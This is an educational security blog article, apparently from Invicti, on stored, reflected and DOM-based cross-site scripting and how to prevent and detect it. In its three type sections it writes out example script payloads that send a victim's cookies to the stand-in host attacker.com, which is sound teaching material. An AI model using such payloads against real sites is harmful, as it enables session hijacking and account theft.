What is a cross-site scripting vulnerability?

What is a cross-site scripting vulnerability? Cross-site scripting (XSS) is a class of web application vulnerabilities that allow attackers to execute malicious scripts in the user’s browser. XSS vulnerabilities are among the most common web security issues and can lead to session hijacking, sensitive data exposure, and worse. This article explains the three types of XSS vulnerabilities and shows how you can detect and prevent them.

What is a cross-site scripting vulnerability?

Why cross-site scripting attacks are possible

Cross-site scripting (XSS) attacks are injection attacks that insert malicious script code into a web page processed by a user’s browser. The “cross-site” part means that the attack code has a different origin than the visited site. Normally, this should be impossible due to same-origin policy (SOP) – a fundamental browser security feature that only allows web applications to load scripts that have the same origin.

Note: For the purpose of same-origin policy and XSS, two sites have the same origin if they have the same protocol (URI scheme, such as https://), host name (such as www.example.com), and port number (usually omitted in website URLs).

A web page that is vulnerable to cross-site scripting uses unsanitized user input to dynamically build its HTML code. If this input contains a malicious script, the script will be included in the page code and executed by the browser in the current context (because it now originates from the same web page). This opens the way to a wide variety of script-based attacks. (As an aside, cross-site scripting is possible for any client-side scripting language – you could have an XSS vulnerability with VBScript, Flash scripts, or even CSS, but modern XSS is almost exclusively about JavaScript.)

The impact of cross-site scripting vulnerabilities

Cross-site scripting is by far the most common type of web application vulnerability, appearing in every OWASP Top 10 list from the very first edition. At the same time, it is traditionally seen as less harmful than SQL injection or remote command execution. But even though the malicious JavaScript code is executed on the client side without directly affecting the server, this doesn’t make XSS vulnerabilities any less dangerous.

The impact of an exploited XSS vulnerability on a web application can vary greatly depending on the specific attack. By executing script code in the user’s current context, attackers can steal session cookies and perform session hijacking to impersonate the victim or take over their account. In conjunction with social engineering, this can lead to the disclosure of sensitive data, CSRF attacks (if the attacker can access anti-CSRF tokens), or even malware installation.

If the victim has administrative rights in the targeted application, a successful XSS attack can be used for privilege escalation and then code execution on the server (read our analysis of the apache.org Jira incident to see how this can happen). As HTML5 web APIs give the browser ever more access to local data and hardware, attackers can potentially use XSS vulnerabilities to access your local resources, from the data in your browser storage to your camera and microphone. XSS is a big deal in web application security.

Types of XSS vulnerabilities

There are three main types of cross-site scripting vulnerabilities: stored (persistent XSS), reflected (non-persistent XSS), and DOM-based XSS. While the results of a successful attack may be similar, the three types of XSS differ significantly in the way the malicious JavaScript payload is injected into the user’s browser.

Stored cross-site scripting

Stored or persistent cross-site scripting vulnerabilities happen when unsanitized user input (and therefore the XSS payload) is saved on the server side, typically in a database. When a user later opens a web page containing injected malicious JavaScript, the payload executes in the browser as a legitimate part of the page. Stored cross-site scripting is very dangerous because the payload is not visible to any client-side XSS filters and the attack can affect multiple users without any further action by the attacker.

As an example, a stored XSS vulnerability can happen if an online message board or forum fails to properly sanitize the user name before printing it on the page. In such a case, an attacker could include an HTML tag containing malicious code while registering a new user. When the stored user name is loaded and inserted into the web page, it might be something like:

Username: user123<script>document.location='https://attacker.com/?cookie='+encodeURIComponent(document.cookie)</script>
Registered since: 2016

The above malicious JavaScript will be triggered every time any user visits that specific forum page. It sends the current cookie values from the user’s browser to the attacker, who can then use them to perform session hijacking and other attacks. Stored XSS can be extremely dangerous when injected into high-traffic pages that are re-shared by users, as it can remain undetected for a long time and is persistent, so it can spread without any further action by the attacker.

Imagine having a stored malicious script in the About me page of a high-profile user on Facebook or a similar social media platform. The payload would trigger for every user who opened that page, and people sharing the link would spread it like a virus. The Samy XSS worm that spread on MySpace in 2005 provided a very early demonstration of such behavior.

Reflected cross-site scripting

A reflected XSS vulnerability happens when unsanitized user input from a URL or web form is directly used (reflected) on the page. As a non-persistent vulnerability, it allows the attacker to inject malicious content into one specific request. In practice, the attacker needs to trick the user into opening a malicious URL or submitting a specially crafted POST form that contains the payload, often through some kind of social engineering. This was the XSS variety that built-in browser filters were intended to protect against.

To illustrate reflected XSS, let’s say that the search functionality on a news site is vulnerable to this attack. Search queries are built by simply appending the user’s input (taken from the GET HTTP request) to the q parameter:


The search results page directly reflects the q parameter value to show what the user searched for:

We found the following results for “data breach”:

If the user input is not sanitized, a malicious actor can perform a reflected cross-site scripting attack by sending the victim a malicious link in a phishing email or on social media. The malicious URL might look something like:

https://example.com/news?q=<script>document.location='https://attacker.com/log.php?c=' + encodeURIComponent(document.cookie)</script>

In practice, this suspicious-looking link would usually be obscured using encoding or a URL shortener. Once the victim clicks on the malicious URL, the XSS attack is executed and the website renders the following code:

We found the following results for “<script>document.location='https://attacker.com/log.php?c=' + document.cookie</script>:

The <script> HTML tag containing the attacker’s malicious code redirects the victim’s browser to a website controlled by the attacker to read the current cookie values, including session cookies for example.com (session tokens). This opens the way to a variety of session hijacking attacks.

DOM-based cross-site scripting

DOM-based XSS vulnerabilities are different in that the attack happens entirely inside the browser, specifically in the DOM (Document Object Model) of the current web page. As websites got bigger and more responsive, more and more processing was moved to the client side, eliminating the need to wait for a response from the web server. With modern single-page applications (SPAs), a full page load only happens once – the rest is asynchronous communication between the client and server to update the DOM structure of the page in the browser.

But even this model provides a way to inject malicious JavaScript. This is often done via hash links used for navigation across the SPA. If the application accepts untrusted inputs without sanitization, an innocent navigation link like http://www.example.com/news.html#weather can be twisted into http://www.example.com/news.html#<script>document.location='https://attacker.com/log.php?c=' + document.cookie</script>, exposing the cookie value to the attacker.

Preventing XSS

As with all injection attacks, the root cause of cross-site scripting vulnerabilities is insufficient validation and sanitization of user inputs. To prevent XSS security vulnerabilities, you need to apply context-dependent output encoding. In some cases, it may be enough to encode HTML special characters (such as opening and closing tags), but in general, correctly applied URL encoding will be more secure. You should only accept links with whitelisted protocols to prevent the abuse of URI schemes such as javascript://. For DOM-based XSS, you also need to be careful where you write user-controllable values.

Until fairly recently, most browsers had built-in XSS filters to catch at least some reflected XSS attempts, but these were limited in scope and effectiveness and, in any case, could be evaded by more advanced attackers. They also gave developers a false sense of security (“XSS is no big deal, the browser will stop it”). Modern web browsers are moving away from XSS filtering – read our article about the rise and fall of the XSS Auditor in Chrome for a fascinating look behind the scenes of XSS filtering attempts. Browser-side XSS filters (if any) should therefore be considered a second line of defense (at best) to minimize the impact of existing vulnerabilities.

Tempting though it may seem, developers should not use input blacklisting (in effect, manual filtering), as there are also many ways to bypass it. Another practice to avoid is manually stripping potentially dangerous function names and characters from input strings, as this only makes it harder for XSS filters to recognize dangerous payloads. Again, the only recommended way to prevent cross-site scripting vulnerabilities is to consistently apply context-dependent encoding. See the OWASP XSS prevention cheat sheet for a detailed guide to avoiding XSS.

Finding and remediating XSS vulnerabilities

Cross-site scripting vulnerabilities make up the majority of all web application security issues that Invicti identifies every day in customer websites and web applications. Because the Invicti scanner incorporates a full modern web browser engine, it can use its proprietary Proof-Based Scanning technology to simulate vulnerability exploitation and automatically confirm most XSS vulnerabilities with no need for manual verification – and no risk of false positives. Crucially, this includes elusive DOM-based vulnerabilities where the payloads don’t show up in HTTP responses, as well as out-of-band and second-order variants.

Invicti was built with accurate automation in mind and provides out-of-the-box integration with popular issue trackers, so you can (if necessary) automatically create developer tickets for security issues with no manual work for the security team. This is why Invicti vulnerability reports include all the remediation guidance that developers need to understand the issue and correctly fix it by addressing the root cause. This helps to avoid partial fixes that lead to cross-site scripting vulnerabilities resurfacing in the future and also fosters more secure coding practices to improve your web application security in the long run.

Vulnerability Classification and Severity Table

Classification ID / Severity
PCI v3.2 6.5.7
CWE 79
OWASP 2013 A3
OWASP 2017 A7
HIPAA 164.308(a)
Invicti High
Zbigniew Banach

About the Author

Zbigniew Banach - Technical Content Lead & Managing Editor

Cybersecurity writer and blog managing editor at Invicti Security. Drawing on years of experience with security, software development, content creation, journalism, and technical translation, he does his best to bring web application security and cybersecurity in general to a wider audience.